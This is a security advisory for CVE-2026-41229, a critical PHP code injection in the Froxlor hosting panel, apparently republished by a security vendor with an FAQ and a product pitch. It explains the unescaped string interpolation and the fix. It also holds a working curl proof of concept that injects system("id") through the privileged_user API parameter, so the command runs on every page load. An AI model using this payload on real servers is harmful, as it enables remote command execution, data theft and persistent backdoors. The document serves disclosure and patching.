CVE-2026-41229

PhpHelper::parseArrayToString() writes string values into single-quoted PHP string literals without escaping single quotes. When an admin with change_serversettings permission adds or updates a MySQL server via the API, the privileged_user parameter (which has no input validation) is written unescaped into lib/userdata.inc.php. Since this file is required on every request via Database::getDB(), an attacker can inject arbitrary PHP code that executes as the web server user on every subsequent page load.

Details

The root cause is in PhpHelper::parseArrayToString() at lib/Froxlor/PhpHelper.php:486:

// lib/Froxlor/PhpHelper.php:475-487
foreach ($array as $key => $value) {
    if (!is_array($value)) {
        if (is_bool($value)) {
            $str .= self::tabPrefix($depth, sprintf("'%s' => %s,\n", $key, $value ? 'true' : 'false'));
        } elseif (is_int($value)) {
            $str .= self::tabPrefix($depth, "'{$key}' => $value,\n");
        } else {
            if ($key == 'password') {
                // special case for passwords (nowdoc)
                $str .= self::tabPrefix($depth, "'{$key}' => <<<'EOT'\n{$value}\nEOT,\n");
            } else {
                // VULNERABLE: $value interpolated without escaping single quotes
                $str .= self::tabPrefix($depth, "'{$key}' => '{$value}',\n");
            }
        }
    }
}

Note that the password key receives special treatment via nowdoc syntax (line 484), which is safe because nowdoc does not interpret any escape sequences or variable interpolation. However, all other string keys, including user, caption, and caFile, are written directly into single-quoted PHP string literals with no escaping.

The attack path through MysqlServer::add() (lib/Froxlor/Api/Commands/MysqlServer.php:80):

1. validateAccess() (line 82) checks the caller is an admin with change_serversettings
2. privileged_user is read via getParam() at line 88 with no validation applied
3. mysql_ca is also read with no validation at line 86
4. The values are placed into the $sql_root array at lines 150-160
5. generateNewUserData() is called at line 162, which calls PhpHelper::parseArrayToPhpFile() → parseArrayToString()
6. The result is written to lib/userdata.inc.php via file_put_contents() (line 548)
7. Setting test_connection=0 (line 92, 110) skips the PDO connection test, so no valid MySQL credentials are needed

The generated userdata.inc.php is loaded on every request via Database::getDB() at lib/Froxlor/Database/Database.php:431:

require Froxlor::getInstallDir() . "/lib/userdata.inc.php";

The MysqlServer::update() method (line 337) has the identical vulnerability with privileged_user at line 387.

PoC

Step 1: Inject PHP code via MysqlServer.add API

curl -s -X POST https://froxlor.example/api.php \
  -u 'ADMIN_APIKEY:ADMIN_APISECRET' \
  -H 'Content-Type: application/json' \
  -d '{
    "command": "MysqlServer.add",
    "params": {
      "mysql_host": "127.0.0.1",
      "mysql_port": 3306,
      "privileged_user": "x'\''.system(\"id\").'\''",
      "privileged_password": "anything",
      "description": "test",
      "test_connection": 0
    }
  }'

This writes the following into lib/userdata.inc.php:

'user' => 'x'.system("id").'',

Step 2: Trigger code execution

Any subsequent HTTP request to the Froxlor panel triggers Database::getDB(), which requires userdata.inc.php, executing system("id") as the web server user:

curl -s https://froxlor.example/

The id output will appear in the response (or can be captured via out-of-band methods for blind execution).

Step 3: Cleanup (attacker would also clean up)

The injected code runs on every request until userdata.inc.php is regenerated or manually fixed.

An admin with change_serversettings permission can escalate to arbitrary OS command execution as the web server user. This represents a scope change from the Froxlor application boundary to the underlying operating system:

• Full server compromise: Execute arbitrary commands as the web server user (typically www-data)
• Data exfiltration: Read all hosted customer data, databases credentials, TLS private keys
• Lateral movement: Access all MySQL databases using credentials stored in userdata.inc.php
• Persistent backdoor: The injected code executes on every request, providing persistent access
• Denial of service: Malformed PHP in userdata.inc.php can break the entire panel

The description field (validated with REGEX_DESC_TEXT = /^[^\0\r\n<>]*$/) and mysql_ca field (no validation) are also injectable vectors through the same code path.

Untrusted input is evaluated as executable code within the application's runtime environment. Typical impact: arbitrary code execution within the application's privilege context.

CVE-2026-41229 has a CVSS score of 9.1 (Critical). The vector is network-reachable, high privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.3.6); upgrading removes the vulnerable code path.

Kodem intelligence

Escape single quotes in PhpHelper::parseArrayToString() before interpolating values into single-quoted PHP string literals. In single-quoted PHP strings, only \' and \\ are interpreted, so both must be escaped:

// lib/Froxlor/PhpHelper.php:486
// Before (vulnerable):
$str .= self::tabPrefix($depth, "'{$key}' => '{$value}',\n");

// After (fixed) - escape backslashes first, then single quotes:
$escaped = str_replace(['\\', "'"], ['\\\\', "\\'"], $value);
$str .= self::tabPrefix($depth, "'{$key}' => '{$escaped}',\n");

Alternatively, use the same nowdoc syntax already used for passwords for all string values, which provides complete injection safety:

// Apply nowdoc to all string values, not just passwords:
$str .= self::tabPrefix($depth, "'{$key}' => <<<'EOT'\n{$value}\nEOT,\n");

Additionally, consider adding input validation to privileged_user and mysql_ca in MysqlServer::add() and MysqlServer::update() as defense-in-depth.

1. What is CVE-2026-41229? CVE-2026-41229 is a critical-severity code injection vulnerability in froxlor/froxlor (composer), affecting versions <= 2.3.5. It is fixed in 2.3.6. Untrusted input is evaluated as executable code within the application's runtime environment.
2. How severe is CVE-2026-41229? CVE-2026-41229 has a CVSS score of 9.1 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of froxlor/froxlor are affected by CVE-2026-41229? froxlor/froxlor (composer) versions <= 2.3.5 is affected.
4. Is there a fix for CVE-2026-41229? Yes. CVE-2026-41229 is fixed in 2.3.6. Upgrade to this version or later.
5. Is CVE-2026-41229 exploitable, and should I be worried? Whether CVE-2026-41229 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-41229 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-41229? Upgrade froxlor/froxlor to 2.3.6 or later.